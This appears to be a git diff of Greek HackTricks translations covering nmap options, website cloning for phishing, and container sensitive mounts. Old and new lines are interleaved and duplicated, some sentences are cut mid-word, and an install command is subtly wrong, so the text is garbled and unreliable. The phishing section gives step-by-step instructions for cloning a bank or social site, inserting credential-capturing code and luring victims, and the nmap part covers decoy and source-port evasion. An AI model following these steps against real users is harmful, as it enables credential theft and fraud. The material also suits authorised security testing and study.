* **`-sA, sW`**: ACK και Window, χρησιμοποιούνται για την ανίχνευση firewalls, για να μάθουμε αν οι θύρες είναι φιλτραρισμένες ή όχι. Το -sW διακρίνει μεταξύ ανοιχτών/κλειστών αφού οι ανοιχτές απαντούν με διαφορετική τιμή παραθύρου: ανοιχτή (RST με τιμή παραθύρου διαφορετική του 0), κλειστή (RST παράθυρο = 0), φιλτραρισμένη (ICMP unreachable ή τίποτα). Όχι όλοι οι υπολογιστές λειτουργούν με αυτόν τον τρόπο, οπότε αν είναι όλα κλειστά, δεν λειτουργεί, αν είναι λίγα ανοιχτά, λειτουργεί καλά, και αν είναι πολλά ανοιχτά και λίγα κλειστά, λειτουργεί με τον αντίστροφο τρόπο.
* **`-sI`:** Idle scan. Για τις περιπτώσεις στις οποίες υπάρχει ένα ενεργό τείχος πυρασφάλειας αλλά γνωρίζουμε ότι δεν φιλτράρει σε μια συγκεκριμένη Ip (ή όταν απλά θέλουμε ανωνυμία) μπορούμε να χρησιμοποιήσουμε τον ανιχνευτή zombie (λειτουργεί για όλες τις θύρες), για να βρούμε πιθανούς zombies μπορούμε να χρησιμο
**--osscan-guess** Όταν η ανίχνευση του λειτουργικού συστήματος δεν είναι τέλεια, αυτό κάνει το εργαλείο να προσπαθήσει περισσότερο.
**Scripts**
\--script _\<όνομα αρχείου>_|_\<κατηγορία>_|_\<κατάλογος>_|_\<έκφραση>_\[,...]
Για να χρησιμοποιήσετε τα προεπιλεγμένα, αρκεί να χρησιμοποιήσετε -sC ή --script=default
Οι διαθέσιμες κατηγορίες είναι: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, και vuln
Οι διαθέσιμοι τύποι είναι: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, και vuln
* **Auth:** εκτελεί όλα τα διαθέσιμα σενάρια για πιστοποίηση
* **Default:** εκτελεί τα προεπιλεγμένα βασικά σενάρια του εργαλείου
* **Auth:** εκτελεί όλα τα διαθέσιμα _scripts_ για πιστοποίηση
* **Default:** εκτελεί τα προεπιλεγμένα _scripts_ του εργαλείου
* **Discovery:** ανακτά πληροφορίες για τον στόχο ή το θύμα
* **External:** σενάριο για τη χρήση εξωτερικών πόρων
* **Intrusive:** χρησιμοποιεί σενάρια που θεωρούνται επιθετικά για το θύμα ή τον στόχο
* **Malware:** ελέγχει αν υπάρχουν ανοιχτές συνδέσεις από κακόβουλο κώδικα ή πίσω πόρτες
* **Safe:** εκτελεί μη επιθετικά σενάρια
* **External:** _script_ για χρήση εξωτερικών πόρων
* **Intrusive:** χρησιμοποιεί _scripts_ που θεωρούνται εισβολικοί για το θύμα ή τον στόχο
* **Malware:** ελέγχει αν υπάρχουν ανοιχτές συνδέσεις λόγω κακόβουλων κωδικών ή _backdoors_
* **Safe:** εκτελεί _scripts_ που δεν είναι εισβολικοί
* **Vuln:** ανακαλύπτει τις πιο γνωστές ευπάθειες
* **All:** εκτελεί όλα τα διαθέσιμα σενάρια NSE
* **All:** εκτελεί όλα τα διαθέσιμα _scripts_ με κατάληξη NSE
Για την αναζήτηση σεναρίων:
Για την αναζήτηση _scripts_:
**nmap --script-help="http-\*" -> Αυτά που ξεκινούν με http-**
@ -73,54 +91,92 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
\--script-args-file _\<όνομα αρχείου>_
\--script-help _\<όνομα αρχείου>_|_\<κατηγορία>_|_\<φάκελος>_|_\<έκφραση>_|all\[,...]
\--script-help _\<όνομα αρχείου>_|_\<κατηγορία>_|_\<κατάλογος>_|_\<έκφραση>_|all\[,...]
\--script-trace ---> Παρέχει πληροφορίες για την πρόοδο του σεναρίου
\--script-trace ---> Παρέχει πληροφορίες σχετικά με την πορεία του _script_
\--script-updatedb
Για να χρησιμοποιήσετε ένα σενάριο, απλά πρέπει να πληκτρολογήσετε: nmap --script Όνομα\_Σεναρίου στόχος --> Με την προσθήκη του σεναρίου, θα εκτελεστεί τόσο το σενάριο όσο και ο σαρωτής, οπότε μπορούν επίσης να προστεθούν επιλογές του σαρωτή, μπορούμε να προσθέσουμε το "safe=1" για να εκτελεστούν μόνο τα ασφαλή.
**Για να χρησιμοποιήσετε ένα _script_ απλά πρέπει να γράψετε: nmap --script Όνομα\_του\_script στόχος** --> Με την εντολή του _script_ εκτελούνται τόσο το _script_ όσο και το εργαλείο σάρωσης, οπότε μπορούν να προστεθούν επιλογές του εργαλείου σάρωσης, μπορούμε να προσθέσουμε **"safe=1"** για να εκτελεστούν μόνο τα ασφαλή.
Έλεγχος χρόνου
**Έλεγχος χρόνου**
Το Nmap μπορεί να τροποποιήσει τον χρόνο σε δευτερόλεπτα, λεπτά, ms: --host-timeout arguments 900000ms, 900, 900s, and 15m all do the same thing.
**Το Nmap μπορεί να τροποποιήσει το χρόνο σε δευτερόλεπτα, λεπτά, ms:** --host-timeout arguments 900000ms, 900, 900s, και 15m κάνουν το ίδιο πράγμα.
Το Nmap διαιρεί τον συνολικό αριθμό των στόχων που θα σαρώσει σε ομάδες και αναλύει αυτές τις ομάδες σε μπλοκ, έτσι ώστε μέχρι να ολοκληρωθεί η ανάλυση όλων των ομάδων, δεν προχωρά στην επόμενη ομάδα (και ο χρήστης δεν λαμβάνει καμία ενημέρωση μέχρι να ολοκληρωθεί η ανάλυση της ομάδας). Με αυτόν τον τρόπο, είναι πιο αποδοτικό για το Nmap να χρησιμοποιεί μεγάλες ομάδες. Από προεπιλογή, χρησιμοποιεί 256 για την κλάση C.
Το Nmap διαιρεί το συνολικό αριθμό των στόχων προς σάρωση σε ομάδες και αναλύει αυτές τις ομάδες σε μπλοκ, έτσι ώστε μέχρι να έχουν αναλυθεί όλες, δεν προχωρά στο επόμενο μπλοκ (και ο χρήστης δεν λαμβάνει ενημερώσεις μέχρι να αναλυθεί το μπλοκ), με αυτόν τον τρόπο, είναι πιο αποδοτικό για το Nmap να χρησιμοποιεί μεγάλες ομάδες. Από προεπιλογή στην κλάση C χρησιμοποιεί 256.
Μπορείτε να το αλλάξετε με το\*\*--min-hostgroup\*\* _**\<αριθμός στόχων>**_**;** **--max-hostgroup** _**\<αριθμός στόχων>**_ (Προσαρμογή των μεγεθών παράλληλης σάρωσης ομάδας)
Μπορείτε να το αλλάξετε με\*\*--min-hostgroup\*\* _**\<αριθμός στόχων>**_**;** **--max-hostgroup** _**\<αριθμός στόχων>**_ (Προσαρμογή μεγέθους παράλληλης ομάδας σάρωσης)
Μπο
**--proxies** _**\<Λίστα με διευθύνσεις URL των proxy χωρισμένες με κόμμα>**_ Για να χρησιμοποιήσετε proxy, μερικές φορές ένα proxy δεν διατηρεί τόσες ανοιχτές συνδέσεις όσες θέλει το nmap, γι 'αυτό θα πρέπει να τροποποιήσετε την παραλληλία: --max-parallelism
Μπορείτε να ελέγξετε τον αριθμό των σαρωτών που λειτουργούν παράλληλα, αλλά είναι καλύτερο να μην το κάνετε (το nmap έχει ήδη αυτόματο έλεγχο βάσει της κατάστασης του δικτύου): **--min-parallelism** _**\<αριθμός εξερευνήσεων>**_**;** **--max-parallelism** _**\<αριθμός εξερευνήσεων>**_
**-sP** Για να ανακαλύψετε τους οικοδεσπότες στο δίκτυο στο οποίο βρίσκεστε μέσω ARP
Μπορείτε να τροποποιήσετε το χρονικό όριο rtt, αλλά συνήθως δεν είναι απαραίτητο: **--min-rtt-timeout** _**\<χρόνος>**_**,** **--max-rtt-timeout** _**\<χρόνος>**_**,** **--initial-rtt-timeout** _**\<χρόνος>**_
Πολλοί διαχειριστές δημιουργούν έναν κανόνα στο τείχος προστασίας που επιτρέπει την πέραση όλων των πακέτων που προέρχονται από ένα συγκεκριμένο θύρα (όπως οι θύρες 20, 53 και 67), μπορούμε να πούμε στο nmap να στείλει τα πακέτα μας από αυτές τις θύρες: **nmap --source-port 53 Ip**
Μπορείτε να τροποποιήσετε τον αριθμό των προσπαθειών:**--max-retries** _**\<αριθμός προσπαθειών>**_
**Έξοδοι**
Μπορείτε να τροποποιήσετε το χρόνο σάρωσης ενός στόχου: **--host-timeout** _**\<χρόνος>**_
**-oN αρχείο** Κανονική έξοδος
Μπορείτε να τροποποιήσετε το χρόνο μεταξύ κάθε δοκιμής για να είναι πιο αργή: **--scan-delay** _**\<χρόνος>**_**;** **--max-scan-delay** _**\<χρόνος>**_
**-oX αρχείο** Έξοδος XML
Μπορείτε να τροποποιήσετε τον αριθμό πακέτων ανά δευτερόλεπτο: **--min-rate** _**\<αριθμός>**_**;** **--max-rate** _**\<αριθμός>**_
**-oS αρχείο** Έξοδος για script kidies
Πολλές θύρες χρειάζονται πολύ χρόνο για να ανταποκριθούν όταν είναι φιλτραρισμένες ή κλειστές, αν ενδιαφέρονται μόνο οι ανοιχτές, μπορείτε να προχωρήσετε ταχύτερα με: **--defeat-rst-ratelimit**
**-oG αρχείο** Έξοδος που μπορεί να αναζητηθεί με grep
Για να ορίσετε πόσο επιθετικό θέλετε να είναι το nmap: -T paranoid|sneaky|polite|normal|aggressive|insane
**-oA αρχείο** Όλα εκτός από -oS
\-T (0-5)
**-v επίπεδο** Επίπεδο λεπτομερειών
\-T0 --> Σαρώνει μόνο μία θύρα τη φορά και περιμένει 5 λεπτά μέχρι την επόμενη
**-d επίπεδο** Επίπεδο αποσφαλμάτωσης
\-T1 και T2 --> Πολύ παρόμοια αλλά περιμένουν μόνο 15 και 0,4 δευτερόλεπτα αντίστοιχα μεταξύ κάθε δοκιμής
**--reason** Αιτία του οικοδεσπότη και κατάσταση
\-T3 --> Προεπιλεγμένη λειτουργία, συμπεριλαμβάνει παράλληλη εκτέλεση
**--stats-every χρόνος** Κάθε χρόνο μας λέει πώς πάει
\-T4 --> --max-rtt-timeout 1250ms --min-rtt-timeout 100ms --initial-rtt-timeout 500ms --max-retries 6 --max-scan-delay 10ms
\-T5 --> --max-rtt-timeout 300ms --min-rtt-timeout 50ms --initial-rtt-timeout 250ms --max-retries 2 --host-timeout 15m --max-scan-delay 5ms
**Τείχος πυρασφάλειας/IDS**
Αποκλείουν τις θύρες και αναλύουν πακέτα.
**-f** Για να κατακερματίσετε πακέτα, από προεπιλογή τα κατακερματίζει σε 8bytes μετά την κεφαλίδα, για να καθορίσετε αυτό το μέγεθος χρησιμοποιήστε ..mtu (με αυτό, μην χρησιμοποιείτε -f), το offset πρέπει να είναι πολλαπλάσιο του 8. **Τα εργαλεία ανίχνευσης εκδόσεων και τα _scripts_ δεν υποστηρίζουν την κατακερματισμό**
**-D decoy1,decoy2,ME** Το Nmap στέλνει σαρωτές αλλά με άλλες διευθύνσεις IP ως προέλευση, με αυτόν τον τρόπο σας κρύβει. Αν βάλετε το ME στη λίστα, το nmap θα σας τοποθετήσει εκεί, καλύτερα να βάλετε 5 ή 6 πριν από εσάς για να σας κρύψει πλήρως. Μπορείτε να δημιουργήσετε τυχαίες διευθύνσεις IP με RND:\<αριθμός> Για να δημιουργήσετε \<αριθμό> τυχαίες διευθύνσεις IP. Δεν λειτουργούν με ανίχνευση εκδόσεων χωρίς σύνδεση TCP. Αν βρίσκεστε μέσα σε ένα δίκτυο, σας ενδιαφέρει να χρησιμοποιήσετε διευθύνσεις IP που είναι ενεργές, διότι αλλιώς θα είναι πολύ εύκολο να ανακαλυφθεί ότι είστε ο μοναδικός ενεργός.
Για χρήση τυχαίων διευθύνσεων IP: nmap-D RND: 10 Ip\_στόχος
**-S IP** Όταν το Nmap δεν ανιχνεύει τη διεύθυνση IP σας, πρέπει να τη δώσετε με αυτό. Χρησιμοποι
**--proxies** _**\<Λίστα διευθύνσεων URL proxy χωρισμένων με κόμμα>**_ Για να χρησιμοποιήσετε proxies, μερικές φορές ένα proxy δεν διατηρεί τόσες ανοιχτές συνδέσεις όσες επιθυμεί το nmap, οπότε θα πρέπει να τροποποιήσετε την παράλληλη εκτέλεση: --max-parallelism
**-sP** Για την ανίχνευση των κόμβων στο δίκτυο στο οποίο βρισκόμαστε μέσω ARP
Πολλοί διαχειριστές δημιουργούν μια κανόνα στο firewall που επιτρέπει τη διέλευση όλων των πακέτων που προέρχονται από ένα συγκεκριμένο θύρα (όπως οι 20, 53 και 67), μπορούμε να πούμε στο nmap να στείλει τα πακέτα μας από αυτές τις θύρες: **nmap --source-port 53 Ip**
**Εξόδοι**
**-oN file** Κανονική έξοδος
**-oX file** Έξοδος XML
**-oS file** Έξοδος για script kidies
**-oG file** Έξοδος σε μορφή που μπορεί να αναζητηθεί με grep
**-oA file** Όλα εκτός από -oS
**-v level** Επίπεδο λεπτομέρειας
**-d level** Αποσφαλμάτωση
**--reason** Το γιατί του κόμβου και της κατάστασης
**--stats-every time** Κάθε τόσο χρόνο μας λέει πώς πάει
**--packet-trace** Για να δούμε ποια πακέτα αποστέλλονται, μπορούν να καθοριστούν φίλτρα όπως: --version-trace ή --script-trace
**--open** εμφανίζει τα ανοιχτά, ανοιχτά|φιλτραρισμένα και τα μη φιλτραρισμένα
**--open** εμφανίζει τους ανοιχτούς, τους ανοιχτούς|φιλτραρισμένους και τους μη φιλτραρισμένους
**--resume αρχείο** Παράγει ένα σύνοψη
**--resume file** Εκτυπώνει ένα περίληψη
**Διάφορα**
@ -130,19 +186,19 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
**Χρόνος εκτέλεσης**
Κατά τη διάρκεια της εκτέλεσης του nmap μπορούμε να αλλάξουμε τις επιλογές:
Κατά τη διάρκεια της εκτέλεσης του nmap μπορούμε να αλλάξουμε επιλογές:
v / V Αύξηση / μείωση του επιπέδου λεπτομερειών
v / V Αύξηση / μείωση του επιπέδου λεπτομέρειας
d / D Αύξηση / μείωση του επιπέδου αποσφαλμάτωσης
p / P Ενεργοποίηση / απενεργοποίηση της ανίχνευσης πακέτων
p / P Ενεργοποίηση / απενεργοποίηση της καταγραφής πακέτων
? Εκτύπωση οθόνης βοήθειας αλληλεπίδρασης κατά τη διάρκεια της εκτέλεσης
? Εκτύπωση οθόνης βοήθειας αλληλεπίδρασης κατά την εκτέλεση
**Vulscan**
Ένα script του nmap που ελέγχει τις εκδόσεις των υπηρεσιών που ανιχνεύονται σε μια offline βάση δεδομένων (που λαμβάνει από πολύ σημαντικές άλλες) και επιστρέφει τυχόν ευπάθειες
Το script του nmap που εξετάζει τις εκδόσεις των υπηρεσιών που ανακτώνται από μια offline βάση δεδομένων (που κατεβάζει από πολύ σημαντικές άλλες) και επιστρέφει τυχόν ευπάθειες
Οι βάσεις δεδομένων που χρησιμοποιεί είναι:
@ -155,22 +211,22 @@ p / P Ενεργοποίηση / απενεργοποίηση της ανίχν
7. Exploitdb.csv | [http://www.exploit-db.com](http://www.exploit-db.com/)
8. Openvas.csv | [http://www.openvas.org](http://www.openvas.org/)
Για να το κατεβάσετε και να το εγκαταστήσετε στον φάκελο του Nmap:
Για να το κατεβάσετε και να το εγκαταστήσετε στο φάκελο του Nmap:
wget http://www.computec.ch/projekte/vulscan/download/nmap\_nse\_vulscan-2.0.tar.gz && tar -czvf nmap\_nse\_vulscan-2.0.tar.gz vulscan/ && sudo cp -r vulscan/ /usr/share/nmap/scripts/
Θα πρέπει επίσης να κατεβάσετε τα πακέτα των βάσεων δεδομένων και να τα προσθέσετε στο /usr/share/nmap/scripts/vulscan/
Επίσης, θα πρέπει να κατεβάσετε τα πακέτα των βάσεων δεδομένων και να τα προσθέσετε στο /usr/share/nmap/scripts/vulscan/
Χρήση:
Για να χρησιμοποιήσετε όλα: sudo nmap -sV --script=vulscan HOST\_TO\_SCAN
Για να χρησιμοποιήσετε όλα: sudo nmap -sV --script=vulscan HOST\_A\_ESCANEAR
Για να χρησιμοποιήσετε μια συγκεκριμένη βάση δεδομένων: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST\_TO\_SCAN
Για να χρησιμοποιήσετε μια συγκεκριμένη βάση δεδομένων: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST\_A\_ESCANEAR
## Επιτάχυνση της ανάλυσης υπηρεσιών του Nmap x16
Σύμφωνα με [**αυτήν την ανάρτηση**](https://joshua.hu/nmap-speedup-service-scanning-16x) μπορείτε να επιταχύνετε την ανάλυση υπηρεσιών του nmap τροποποιώντας όλες τις τιμές **`totalwaitms`** στο **300** και την τιμή **`tcpwrappedms`** σε **200** στο αρχείο **`/usr/share/nmap/nmap-service-probes`**.
Σύμφωνα με [**αυτήν την ανάρτηση**](https://joshua.hu/nmap-speedup-service-scanning-16x) μπορείτε να επιταχύνετε την ανάλυση υπηρεσιών του nmap τροποποιώντας όλες τις τιμές **`totalwaitms`** στο **`/usr/share/nmap/nmap-service-probes`** σε **300** και το **`tcpwrappedms`** σε **200**.
Επιπλέον, οι αιτήσεις που δεν έχουν καθορισμένη τιμή **`servicewaitms`** χρησιμοποιούν μια προεπιλεγμένη τιμή **`5000`**. Επομένως, μπορούμε είτε να προσθέσουμε τιμές σε κάθε μια από τις αιτήσεις, είτε να **μεταγλωττίσουμε το nmap** μόνοι μας και να αλλάξουμε την προεπιλεγμένη τιμή στο αρχείο [**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79).
Επιπλέον, οι εξετάσεις που δεν έχουν καθορισμένη ειδικά την τιμή **`servicewaitms`** χρησιμοποιούν μια προεπιλεγμένη τιμή των **`5000`**. Επομένως, μπορούμε είτε να προσθέσουμε τιμές σε κάθε μια από τις εξετάσεις, είτε να **μεταγλωττίσουμε το nmap** μόνοι μας και να αλλάξουμε την προεπιλεγμένη τιμή στο [**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79).
Εάν δεν θέλετε να α
Αν δεν θέλετε να αλλάξετε καθόλου τις τιμές των **`totalwaitms`** και **`tcpwrappedms`** στο αρχείο `/usr/share/nmap/nmap-service-probes`, μπορείτε να επεξεργαστείτε τον [κώδικα ανάλυσης](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358) έτσι ώστε αυτές οι τιμές στο αρχείο `nmap-service-probes` να αγνοούνται εντελώς.

View file

@ -1,21 +1,26 @@
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
Για μια αξιολόγηση phishing, μερικές φορές μπορεί να είναι χρήσιμο να κλωνοποιήσετε εντελώς έναν ιστότοπο.
{% embed url="https://websec.nl/" %}
Σημειώστε ότι μπορείτε επίσης να προσθέσετε ορισμένα φορτία στον κλωνοποιημένο ιστότοπο, όπως ένα BeEF hook για να "ελέγχετε" τον πίνακα του χρήστη.
Για μια αξιολόγηση phishing μερικές φορές μπορεί να είναι χρήσιμο να **κλωνοποιήσετε πλήρως μια ιστοσελίδα**.
Σημειώστε ότι μπορείτε επίσης να προσθέσετε κάποια φορτία στην κλωνοποιημένη ιστοσελίδα όπως ένα BeEF hook για να "ελέγχετε" την καρτέλα του χρήστη.
Υπάρχουν διάφορα εργαλεία που μπορείτε να χρησιμοποιήσετε για αυτόν τον σκοπό:
@ -24,61 +29,29 @@
wget -mk -nH
```
## goclone
Το `goclone` είναι ένα εργαλείο γραμμής εντολών που χρησιμοποιείται για την αντιγραφή ιστότοπων. Με το `goclone`, μπορείτε να κλωνοποιήσετε έναν ιστότοπο και να τον αποθηκεύσετε τοπικά στον υπολογιστή σας.
### Εγκατάσταση
Για να εγκαταστήσετε το `goclone`, ακολουθήστε τα παρακάτω βήματα:
1. Κατεβάστε τον κώδικα του `goclone` από το αποθετήριο του στο GitHub.
2. Αποσυμπιέστε το αρχείο και μεταβείτε στον φάκελο του `goclone`.
3. Ανοίξτε ένα τερματικό και εκτελέστε την εντολή `go build` για να δημιουργήσετε το εκτελέσιμο αρχείο του `goclone`.
4. Μετακινήστε το εκτελέσιμο αρχείο στον φάκελο `/usr/local/bin` για να είναι προσβάσιμο από οποιοδήποτε μέρος του συστήματός σας.
### Χρήση
Για να χρησιμοποιήσετε το `goclone`, ακολουθήστε τα παρακάτω βήματα:
1. Ανοίξτε ένα τερματικό και μεταβείτε στον φάκελο όπου θέλετε να αποθηκεύσετε τον κλωνοποιημένο ιστότοπο.
2. Εκτελέστε την εντολή `goclone <URL>` όπου `<URL>` είναι η διεύθυνση URL του ιστότοπου που θέλετε να κλωνοποιήσετε.
3. Αναμένετε την ολοκλήρωση της διαδικασίας κλωνοποίησης. Ο κλωνοποιημένος ιστότοπος θα αποθηκευτεί στον φάκελο που επιλέξατε.
Με το `goclone`, μπορείτε να αντιγράψετε ιστότοπους για ανάλυση, δοκιμές ασφαλείας ή οποιοδήποτε άλλο σκοπό χωρίς να χρειάζεται να συνδεθείτε στον πραγματικό ιστότοπο. Ανακαλύψτε τις δυνατότητες του `goclone` και επωφεληθείτε από αυτό το ισχυρό εργαλείο.
```bash
#https://github.com/imthaghost/goclone
goclone <url>
```
## Εργαλείο Κοινωνικής Μηχανικής
### Μεθοδολογία Κλωνοποίησης Ιστοσελίδας
Η κλωνοποίηση ιστοσελίδας είναι μια τεχνική κοινωνικής μηχανικής που χρησιμοποιείται για να αποκτηθούν προσωπικά στοιχεία από τα θύματα. Αυτή η μέθοδος συνήθως περιλαμβάνει τη δημιουργία μιας ακριβούς αντιγραφής μιας ιστοσελίδας, όπως μια τράπεζα ή μια πλατφόρμα κοινωνικής δικτύωσης, με σκοπό την απάτη των χρηστών και την κλοπή των διαπιστευτηρίων τους.
Για να κλωνοποιήσετε μια ιστοσελίδα, ακολουθήστε τα παρακάτω βήματα:
1. Επιλέξτε την ιστοσελίδα που θέλετε να κλωνοποιήσετε και αναλύστε τη δομή της.
2. Κατεβάστε τον πηγαίο κώδικα της ιστοσελίδας.
3. Αντιγράψτε τον πηγαίο κώδικα σε έναν τοπικό φάκελο στον υπολογιστή σας.
4. Τροποποιήστε τον πηγαίο κώδικα για να προσθέσετε τον κακόβουλο κώδικα που θα σας επιτρέψει να καταγράψετε τα διαπιστευτήρια των θυμάτων.
5. Ανεβάστε τον τροποποιημένο πηγαίο κώδικα σε έναν διακομιστή ή σε μια υπηρεσία cloud/SaaS.
6. Δημιουργήστε έναν σύνδεσμο προς την κλωνοποιημένη ιστοσελίδα και αποστείλτε τον στα θύματα μέσω email, μηνύματος κειμένου ή κοινωνικών δικτύων.
7. Παρακολουθήστε τον κλωνοποιημένο ιστότοπο για να συλλέξετε τα διαπιστευτήρια των θυμάτων.
Είναι σημαντικό να θυμάστε ότι η κλωνοποίηση ιστοσελίδας είναι παράνομη και απαγορεύεται. Χρησιμοποιήστε αυτήν τη μέθοδο μόνο για εκπαιδευτικούς σκοπούς και με την έγκριση του νόμου.
```bash
#https://github.com/trustedsec/social-engineer-toolkit
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
@ -14,15 +14,19 @@
</details>
Η εκθεση του `/proc` και `/sys` χωρίς κατάλληλη απομόνωση του namespace εισάγει σημαντικούς κινδύνους ασφάλειας, συμπεριλαμβανομένης της αύξησης της επιφάνειας επίθεσης και της διαρροής πληροφοριών. Αυτοί οι κατάλογοι περιέχουν ευαίσθητα αρχεία που, εάν δεν ρυθμιστούν σωστά ή αν έχουν πρόσβαση από μη εξουσιοδοτημένο χρήστη, μπορεί να οδηγήσουν σε διαφυγή του container, τροποποίηση του host ή παροχή πληροφοριών που βοηθούν σε περαιτέρω επιθέσεις. Για παράδειγμα, η εσφαλμένη προσάρτηση `-v /proc:/host/proc` μπορεί να παρακάμψει την προστασία AppArmor λόγω της φύσης του βασισμένη σε διαδρομή, αφήνοντας το `/host/proc` ανεπτυγμένο.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
**Μπορείτε να βρείτε περισσότερες λεπτομέρειες για κάθε πιθανή ευπάθεια στο** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
{% embed url="https://websec.nl/" %}
